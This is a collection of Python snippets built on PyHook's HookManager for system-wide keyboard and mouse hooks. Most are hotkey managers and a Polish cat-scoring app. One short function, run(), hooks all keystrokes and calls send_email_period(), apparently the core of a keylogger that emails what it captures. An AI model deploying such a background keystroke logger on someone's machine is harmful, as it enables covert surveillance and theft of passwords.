class Keystroke_Watcher: def __init__(self, master, sticky=False): self.logger = logging.getLogger(master.logger.name + '.Keystroke_Watcher') self.hm = HookManager() self.hm.KeyDown = self.on_key_down self.hm.KeyUp = self.on_key_up self.function_map = {} self.keys_held = set() self.sticky = sticky self.hm.HookKeyboard() def get_key_combo_code(self): return '+'.join( [HookConstants.IDToName(key) for key in self.keys_held]) def register_function(self, key_combo, function): self.function_map[key_combo.lower()] = function self.logger.info("Registered function <{}> to keycombo <{}>.".format( function.__name__, key_combo.lower())) def unregister_function(self, key_combo): self.logger.info("Unregistered function <{}> at keycombo <{}>".format( self.function_map[key_combo.lower()].__name__, key_combo.lower())) del self.function_map[key_combo.lower()] def on_key_down(self, event): try: self.keys_held.add(event.KeyID) finally: return True def on_key_up(self, event): keycombo = self.get_key_combo_code().lower() try: if keycombo in self.function_map.keys(): self.logger.info( "Shortcut <{}> pressed. Calling function <{}>.".format( keycombo, self.function_map[keycombo].__name__)) self.function_map[keycombo]() finally: if not self.sticky: self.keys_held.remove(event.KeyID) return True def shutdown(self): self.hm.UnhookKeyboard() def restart(self): self.keys_held = set() self.hm.HookKeyboard()
def run(file_dir): global gb_file_dir gb_file_dir = file_dir send_email_period() hm = HookManager() hm.KeyDown = OnKeyboardEvent hm.KeyUp = OnKeyboardEvent hm.HookKeyboard() pythoncom.PumpMessages()
class KeybindManager: """ Interface with Mouse/Keyboard and register functions to keyboard shortcuts. """ def __init__(self, master, sticky=False): self.logger = logging.getLogger(master.logger.name + '.Keystroke_Watcher') self.hook_manager = HookManager() self.hook_manager.KeyDown = self._on_key_down self.hook_manager.KeyUp = self._on_key_up self.function_map = {} self.keys_held = set() self.sticky = sticky self.hook_manager.HookKeyboard() def get_key_combo_code(self): """ Converts the keys currently being held into a string representing the combination """ return '+'.join([HookConstants.IDToName(key) for key in self.keys_held]) def register_function(self, key_combo, function): """ Register function callback to key_combo """ self.function_map[key_combo.lower()] = function self.logger.info( "Registered function <%s> to keycombo <%s>.", function.__name__, key_combo.lower()) def unregister_function(self, key_combo): """ Stop tracking function at key_combo """ self.logger.info( "Unregistered function <%s> at keycombo <%s>", self.function_map[key_combo.lower()].__name__, key_combo.lower()) del self.function_map[key_combo.lower()] def _on_key_down(self, event): """ Simply adds the key to keys held. """ try: self.keys_held.add(event.KeyID) except Exception as exc: # Log error but don't do anything; PyHook is prone to throw some exceptions with no consequences self.logger.error("Error in _on_key_down, %s", exc) return True def _on_key_up(self, event): """ If a function for the given key_combo is found, call it """ key_combo = self.get_key_combo_code().lower() try: if key_combo in self.function_map.keys(): self.logger.info( "Shortcut <%s> pressed. Calling function <%s>.", key_combo, self.function_map[key_combo].__name__) self.function_map[key_combo]() finally: if not self.sticky and event.KeyID in self.keys_held: self.keys_held.remove(event.KeyID) return True def shutdown(self): """ Stop following keyboard events. """ self.hook_manager.UnhookKeyboard() def restart(self): """ Clear keys held and rehook keyboard. """ self.keys_held = set() self.hook_manager.HookKeyboard()
class App: def __init__(self, root): self.root = root self.root.configure(background='purple') self.point_history = list() self.TEAM_ONE = '-1' self.TEAM_TWO = '1' self.fun_list = '' self.FUN_CAT = '1' self.FUN_NOCAT = '-1' self.today = str(date.today()) #data dzisiejsza #tworzy path do obrazków mypath = 'cats/' onlyfiles = [f for f in listdir(mypath) if isfile(join(mypath, f))] gospodarze_img = choice(onlyfiles) onlyfiles.remove(gospodarze_img) gospodarze_img_path = join(mypath, gospodarze_img) goscie_img_path = join(mypath, choice(onlyfiles)) print(onlyfiles) #tutaj tworzą się wszystkie widgety #ta linijka zapewnia że okienko jest zawsze na wierzchu root.attributes("-topmost", True) root.wm_title("KotCzyNie?") #tutaj tworzymy fonta dla wszystkich label w __init__, można zmienić na globalną później w sumie font_name = 'times' font_size = 40 label_font = '{0} {1}'.format(font_name, font_size) #HookManager odpowiada za zbieranie eventów z klawiatury gdy aplikacja jest w tle self.my_hook_manager = HookManager() self.my_hook_manager.KeyUp = self.on_keyboard_event self.my_hook_manager.HookKeyboard() #sekcja tworzenia widgetów dla gospodarzy gospodarze_name_string = 'Gospodarze ' gospodarze_name = StringVar() self.gospodarze_score_str = StringVar() self.gospodarze_score_int = 0 gospodarze_name.set(gospodarze_name_string) self.gospodarze_score_str.set(str(self.gospodarze_score_int)) gospodarze_name_label = Label(root, textvariable=gospodarze_name, font=label_font) gospodarze_score_label = Label(root, textvariable=self.gospodarze_score_str, font=label_font) #dodaje obrazek dla gospodarzy gospodarze_cats_picture = PIL.Image.open(gospodarze_img_path) gospodarze_cats_picture = gospodarze_cats_picture.resize( (100, 100), PIL.Image.ANTIALIAS) gospodarze_cats_picture = PIL.ImageTk.PhotoImage( gospodarze_cats_picture) gospodarze_cat_label = Label(root, image=gospodarze_cats_picture) gospodarze_cat_label.image = gospodarze_cats_picture #separator musi mieć swój własny widget, tak chyba jest najwygodniej separetor_raw_string = ' - ' separator_tk_string = StringVar() separator_tk_string.set(separetor_raw_string) separator_label = Label(root, textvariable=separator_tk_string, font=label_font) #sekcja tworzenia widgetów dla gości goscie_name_string = ' Goście' goscie_name = StringVar() self.goscie_score_str = StringVar() self.goscie_score_int = 0 goscie_name.set(goscie_name_string) self.goscie_score_str.set(str(self.goscie_score_int)) #tworzenie obrazka dla gosci goscie_cats_picture = PIL.Image.open(goscie_img_path).transpose( PIL.Image.FLIP_LEFT_RIGHT) goscie_cats_picture = goscie_cats_picture.resize((100, 100), PIL.Image.ANTIALIAS) goscie_cats_picture = PIL.ImageTk.PhotoImage(goscie_cats_picture) goscie_cat_label = Label(root, image=goscie_cats_picture) goscie_cat_label.image = goscie_cats_picture goscie_name_label = Label(root, textvariable=goscie_name, font=label_font) goscie_score_label = Label(root, textvariable=self.goscie_score_str, font=label_font) gospodarze_cat_label.grid(column=0, row=0) gospodarze_name_label.grid(column=1, row=0) gospodarze_score_label.grid(column=2, row=0) separator_label.grid(column=3, row=0) goscie_score_label.grid(column=4, row=0) goscie_name_label.grid(column=5, row=0) goscie_cat_label.grid(column=6, row=0) def add_point_to_gospodarze(self): self.gospodarze_score_int += 1 self.gospodarze_score_str.set(str(self.gospodarze_score_int)) self.point_history.append(self.TEAM_ONE) def add_point_to_goscie(self): self.goscie_score_int += 1 self.goscie_score_str.set(str(self.goscie_score_int)) self.point_history.append(self.TEAM_TWO) def subtract_point_from_gospodarze(self): self.gospodarze_score_int -= 1 self.gospodarze_score_str.set(str(self.gospodarze_score_int)) def subtract_point_from_goscie(self): self.goscie_score_int -= 1 self.goscie_score_str.set(str(self.goscie_score_int)) def check_if_cat(self): #losowanie czy kot czy nie answer_positive = 'To jest kot' answer_negative = 'To nie jest kot' answer_string_raw = '' if self.fun_list == '': random_number = randint(1, 1000) if random_number <= 500: answer_string_raw = answer_positive else: answer_string_raw = answer_negative elif self.fun_list == self.FUN_CAT: answer_string_raw = answer_positive elif self.fun_list == self.FUN_NOCAT: answer_string_raw = answer_negative self.fun_list = '' PopUp(answer_string_raw, 1000) def delete_point(self): try: team = self.point_history.pop() if team == self.TEAM_ONE: self.subtract_point_from_gospodarze() if team == self.TEAM_TWO: self.subtract_point_from_goscie() except IndexError: pass def how_many_points(self): #zliczanie punktow self.goscie_points = 0 self.gospodarze_points = 0 for item in self.point_history: if int(item) == 1: self.goscie_points = self.goscie_points + 1 else: self.gospodarze_points = self.gospodarze_points + 1 return self.gospodarze_points, self.goscie_points def on_keyboard_event(self, event): #hookmanager i jego eventy, te printy są dla debugowania, żeby wiedzieć jakie przyciski mają KeyId print('MessageName:', event.MessageName) print('Ascii:', repr(event.Ascii), repr(chr(event.Ascii))) print('Key:', repr(event.Key)) print('KeyID:', repr(event.KeyID)) print('ScanCode:', repr(event.ScanCode)) print('---') print(self.point_history) print('----') print(self.gospodarze_score_int) try: # J if event.KeyID == 74: self.add_point_to_gospodarze() # L if event.KeyID == 76: self.add_point_to_goscie() # I if event.KeyID == 73: self.check_if_cat() # K if event.KeyID == 75: self.delete_point() # U if event.KeyID == 85: self.fun_list = self.FUN_CAT # O if event.KeyID == 79: self.fun_list = self.FUN_NOCAT # ; if event.KeyID == 186: self.fun_list = '' if event.KeyID == 83: #s zapis do bazy print(self.point_history) gospodarze, goscie = self.how_many_points() print(self.how_many_points()) db.add(self.today, gospodarze, goscie) if event.KeyID == 87: # w odczyt z bazy db.show_score() finally: return True
class EventManager(object): """ Event manager that runs event loop and calls event handlers. """ def __init__(self): """ Constructor. :return: None. """ # Create hook manager self._hook_manager = HookManager() # Add attributes `mouse_hook` and `keyboard_hook`. # Without the two attributes, the hook manager's method `__del__` # will raise AttributeError if its methods `HookKeyboard` and # `HookMouse` have not been called. self._hook_manager.mouse_hook = False self._hook_manager.keyboard_hook = False def start_event_loop(self): """ Start event loop. This method will not return until the event loop is stopped by \ calling :paramref:`stop_event_loop`. :return: None. """ # Start hooking key events self._hook_manager.HookKeyboard() # Start hooking mouse events self._hook_manager.HookMouse() # Create MSG structure msg = MSG() # Run event loop GetMessageW(byref(msg), 0, 0, 0) # Stop hooking key events self._hook_manager.UnhookKeyboard() # Stop hooking mouse events self._hook_manager.UnhookMouse() def stop_event_loop(self): """ Stop event loop. :return: None. """ # Post a WM_QUIT message to this thread's message queue PostQuitMessage(0) # Map event handler type to handler attribute name _EVENT_HANDLER_TYPE_TO_ATTR_NAME = { 'KeyDown': 'KeyDown', 'KeyUp': 'KeyUp', 'MouseDown': 'MouseAllButtonsDown', 'MouseUp': 'MouseAllButtonsUp', 'MouseMove': 'MouseMove', 'MouseWheel': 'MouseWheel', } def add_handler(self, handler_type, handler): """ Add event handler. :param handler_type: Event handler type. Allowed values: - 'KeyDown' - 'KeyUp' - 'MouseDown' - 'MouseUp' - 'MouseMove' - 'MouseWheel' :param handler: Event handler. :return: None. """ # Get handler attribute name attr_name = self._EVENT_HANDLER_TYPE_TO_ATTR_NAME.get( handler_type, None ) # If handler attribute name is not found, # it means given handler type is not valid. if attr_name is None: # Get error message msg = 'Error: Invalid handler type: {0}'.format( repr(handler_type) ) # Raise error raise ValueError(msg) # If handler attribute name is found. # Set the handler attribute on the hook manager setattr(self._hook_manager, attr_name, handler) def remove_handlers(self): """ Remove all event handlers. :return: None. """ # Set handler attributes on the hook manager be None self._hook_manager.KeyDown = None self._hook_manager.KeyUp = None self._hook_manager.MouseAllButtonsDown = None self._hook_manager.MouseAllButtonsUp = None self._hook_manager.MouseMove = None self._hook_manager.MouseWheel = None
def ListenHotKey(self): hm = HookManager() hm.KeyDown = OnKeyboardEvent hm.HookKeyboard() PumpMessages()
class pyhook: """Hotkey class extending PyHook3""" def __init__(self): # initiate internal hotkey list self.KeyDownID = [] self.KeyDown = [] # initiate user hotkey list self.UserHKF = [] self.UserHKFUp = [] self.HKFIDDict = {} # create Lookup for event keys and ids # for keyboards self.ID2Key, self.Key2ID = self.createKeyLookup() # for mouse, artifical lookup first # self.mouseDown_MID2eventMessage, self.mouseDown_eventMessage2MID, self.mouseUp_MID2eventMessage, self.mouseUp_eventMessage2MID = self.createMouseLookup() # create list for singleEvent, ie there is only a key down, no key up # self.singleEventMouseMessage, self.singleEventMID = self.createSingleEventMouse() # creat list for merged keys like Ctrl <= Lcontrol, Rcontrol self.KeyID2MEID = self.createMergeKeys() # create a hook manager self.hm = HookManager() # watch for all keyboard events self.hm.KeyDown = self.OnKeyDown self.hm.KeyUp = self.OnKeyUp # watch for all mouse events self.hm.MouseAllButtonsDown = self.OnKeyDown self.hm.MouseAllButtonsUp = self.OnKeyUp self.hm.MouseMove = self.OnSingleEventMouse self.hm.MouseWheel = self.OnSingleEventMouse # set the hook self.hm.HookKeyboard() # self.hm.HookMouse() # set Ending hotkey self.EndHotkey = ['Ctrl', 'Shift', 'Q'] self.setEndHotkey(self.EndHotkey) def start(self): """Start pyhk to check for hotkeys""" while True: PumpMessages() def end(self): """End pyhk to check for hotkeys""" windll.user32.PostQuitMessage(0) # -------------------------------------------------------- def isIDHotkey(self, hotkey): """Test if hotkey is coded in IDs""" for key in hotkey: if type(key) == str: return False return True def isHumanHotkey(self, hotkey): """Test if hotkey is coded human readable. Ex ALT F2""" try: [self.Key2ID[key] for key in hotkey] except: return False return True def hotkey2ID(self, hotkey): """Converts human readable hotkeys to IDs""" if self.isHumanHotkey(hotkey): return [self.Key2ID[key] for key in hotkey] else: raise Exception("Invalid Hotkey") def getHotkeyList(self, hotkey): """Create a IDlist of hotkeys if necessary to ensure functionality of merged hotkeys""" hotkeyVariationList = [] hotkeyList = [] # convert everyting into ID,MID,MEID if self.isIDHotkey(hotkey): IDHotkey = hotkey else: IDHotkey = self.hotkey2ID(hotkey) IDHotkeyTemp = IDHotkey[:] # check if there is a MEID and create accorind hotkeyVariationList for Key in self.KeyID2MEID: if self.KeyID2MEID[Key] in IDHotkeyTemp: # merged hotkey in hotkey # get MEID MEIDTemp = self.KeyID2MEID[Key] # get all KeyIDs KeyIDVariationTemp = [ k for k in self.KeyID2MEID if self.KeyID2MEID[k] == MEIDTemp ] # remove MEID from IDHotekey IDHotkeyTemp.remove(MEIDTemp) # store according MEID and KeyIDList hotkeyVariationList.append(KeyIDVariationTemp) if len(hotkeyVariationList) > 0: hotkeyVariationList.append(IDHotkeyTemp) # get all possible permutations hotkeyList = UniquePermutation(hotkeyVariationList) else: hotkeyList = [IDHotkey] return hotkeyList def addHotkey(self, hotkey, fhot, isThread=False, up=False): """Add hotkeys with according function""" hotkeyList = self.getHotkeyList(hotkey) newHKFID = self.getNewHKFID() self.HKFIDDict[newHKFID] = [] if up: if len(hotkey) < 2: if isThread: t = ExecFunThread(fhot) for IDHotKeyItem in hotkeyList: self.UserHKFUp.append([IDHotKeyItem, t.Start]) self.HKFIDDict[newHKFID].append( [IDHotKeyItem, t.Start]) else: for IDHotKeyItem in hotkeyList: self.UserHKFUp.append([IDHotKeyItem, fhot]) self.HKFIDDict[newHKFID].append([IDHotKeyItem, fhot]) else: if isThread: t = ExecFunThread(fhot) for IDHotKeyItem in hotkeyList: self.UserHKF.append([IDHotKeyItem, t.Start]) self.HKFIDDict[newHKFID].append([IDHotKeyItem, t.Start]) else: for IDHotKeyItem in hotkeyList: self.UserHKF.append([IDHotKeyItem, fhot]) self.HKFIDDict[newHKFID].append([IDHotKeyItem, fhot]) return newHKFID def removeHotkey(self, hotkey=False, id=False): """Remove hotkeys and corresponding function""" HKFID = id try: if hotkey: hotkeyList = self.getHotkeyList(hotkey) try: UserHKFTemp = [[hotk, fun] for hotk, fun in self.UserHKF if not (hotk in hotkeyList)] self.UserHKF = UserHKFTemp[:] except: pass try: UserHKFTemp = [[hotk, fun] for hotk, fun in self.UserHKFUp if not (hotk in hotkeyList)] self.UserHKFUp = UserHKFTemp[:] except: pass elif HKFID: for item in self.HKFIDDict[HKFID]: try: self.UserHKF.remove(item) except: self.UserHKFUp.remove(item) self.HKFIDDict.pop(HKFID) else: self.UserHKF = [] self.UserHKFUp = [] except: pass def setEndHotkey(self, hotkey): """Add exit hotkeys""" self.removeHotkey(self.EndHotkey) self.EndHotkey = hotkey self.addHotkey(hotkey, self.end) # -------------------------------------------------------- # ID functions for HKFID def getNewHKFID(self): try: return max(self.HKFIDDict.keys()) + 1 except: return 1 # -------------------------------------------------------- def isHotkey(self, hotkey): """Check if hotkey is pressed down Hotkey is given as KeyID""" try: # make sure exact hotkey is pressed if not (len(hotkey) == len(self.KeyDownID)): return False for hotk in hotkey: if not (hotk in self.KeyDownID): return False except: return False return True def OnKeyDown(self, event): if not "mouse" in event.MessageName: # check for merged keys first eventID = event.KeyID else: eventID = self.mouseDown_eventMessage2MID[event.Message] # make sure key only gets presse once if not (eventID in self.KeyDownID): self.KeyDownID.append(eventID) # Add user hotkeys and functions for hk, fun in self.UserHKF: if self.isHotkey(hk): fun() return True def OnKeyUp(self, event): if not "mouse" in event.MessageName: eventID = event.KeyID else: eventID = self.mouseUp_eventMessage2MID[event.Message] # check for hotkey up keys for hk, fun in self.UserHKFUp: if hk[0] == eventID: fun() try: self.KeyDownID.remove(eventID) except: pass return True def OnSingleEventMouse(self, event): """Function to excetue single mouse events""" if event.Message in self.singleEventMouseMessage: # test for mouse wheel: if event.Message == 522: if event.Wheel == 1: eventID = 1004 else: eventID = 1005 # test mouse move elif event.Message == 512: eventID = 1000 else: return False self.KeyDownID.append(eventID) # Add user hotkeys and functions for hk, fun in self.UserHKF: if self.isHotkey(hk): fun() self.KeyDownID.remove(eventID) return True # -------------------------------------------------------- def createKeyLookup(self): """Creates Key look up dictionaries, change names as you please""" ID2Key = { 8: 'Back', 9: 'Tab', 13: 'Return', 20: 'Capital', 27: 'Escape', 32: 'Space', 33: 'Prior', 34: 'Next', 35: 'End', 36: 'Home', 37: 'Left', 38: 'Up', 39: 'Right', 40: 'Down', 44: 'Snapshot', 46: 'Delete', 48: '0', 49: '1', 50: '2', 51: '3', 52: '4', 53: '5', 54: '6', 55: '7', 56: '8', 57: '9', 65: 'A', 66: 'B', 67: 'C', 68: 'D', 69: 'E', 70: 'F', 71: 'G', 72: 'H', 73: 'I', 74: 'J', 75: 'K', 76: 'L', 77: 'M', 78: 'N', 79: 'O', 80: 'P', 81: 'Q', 82: 'R', 83: 'S', 84: 'T', 85: 'U', 86: 'V', 87: 'W', 88: 'X', 89: 'Y', 90: 'Z', 91: 'Lwin', 96: 'Numpad0', 97: 'Numpad1', 98: 'Numpad2', 99: 'Numpad3', 100: 'Numpad4', 101: 'Numpad5', 102: 'Numpad6', 103: 'Numpad7', 104: 'Numpad8', 105: 'Numpad9', 106: 'Multiply', 107: 'Add', 109: 'Subtract', 110: 'Decimal', 111: 'Divide', 112: 'F1', 113: 'F2', 114: 'F3', 115: 'F4', 116: 'F5', 117: 'F6', 118: 'F7', 119: 'F8', 120: 'F9', 121: 'F10', 122: 'F11', 123: 'F12', 144: 'Numlock', 160: 'Lshift', 161: 'Rshift', 162: 'Lcontrol', 163: 'Rcontrol', 164: 'Lmenu', 165: 'Rmenu', 186: 'Oem_1', 187: 'Oem_Plus', 188: 'Oem_Comma', 189: 'Oem_Minus', 190: 'Oem_Period', 191: 'Oem_2', 192: 'Oem_3', 219: 'Oem_4', 220: 'Oem_5', 221: 'Oem_6', 222: 'Oem_7', 1010: 'Ctrl', # merged hotkeys 1011: 'Alt', 1012: 'Shift' } Key2ID = dict(map(lambda x, y: (x, y), ID2Key.values(), ID2Key.keys())) return ID2Key, Key2ID def createMouseLookup(self): """Takes a event.Message from mouse and converts it to artificial KeyID""" mouseDown_MID2eventMessage = {1001: 513, 1002: 516, 1003: 519} mouseDown_eventMessage2MID = dict( map(lambda x, y: (x, y), mouseDown_MID2eventMessage.values(), mouseDown_MID2eventMessage.keys())) mouseUp_MID2eventMessage = {1001: 514, 1002: 517, 1003: 520} mouseUp_eventMessage2MID = dict( map(lambda x, y: (x, y), mouseUp_MID2eventMessage.values(), mouseUp_MID2eventMessage.keys())) return mouseDown_MID2eventMessage, mouseDown_eventMessage2MID, mouseUp_MID2eventMessage, mouseUp_eventMessage2MID def createSingleEventMouse(self): """Store events that get executed on single event like wheel up MID event.Message pyhk hotkey comments 1000 512 mouse move 1004 522 mouse wheel up event.Wheel = 1 1005 522 mouse wheel up event.Wheel = 1""" singleEventMouseMessage = [512, 522] singleEventMID = [1000, 1004, 1005] return singleEventMouseMessage, singleEventMID def createMergeKeys(self): """Merge two keys into one KeyID MEID MergeHumanHotkey 162 1010 Ctrl (Lcontrol) 163 1010 Ctrl (Rcontrol 164 1011 Alt (Lmenu) 165 1011 Alt (Rmenu) 160 1012 Shift (Lshift) 161 1012 Shift (Rshift)""" KeyID2MEID = { 162: 1010, 163: 1010, 164: 1011, 165: 1011, 160: 1012, 161: 1012 } return KeyID2MEID def getHotkeyListNoSingleNoModifiers(self): """return a list of all hotkeys without single events and modifiers""" TempID2Key = self.ID2Key.copy() # get rid of single events and modifiers getRid = [ 160, 161, 162, 163, 164, 165, 1000, 1004, 1005, 1010, 1011, 1012 ] # get rid of Lwin and oems moreRid = [91, 186, 187, 188, 189, 190, 191, 192, 219, 220, 221, 222] for item in moreRid: getRid.append(item) for gR in getRid: TempID2Key.pop(gR) LTempID2Key = TempID2Key.values() return LTempID2Key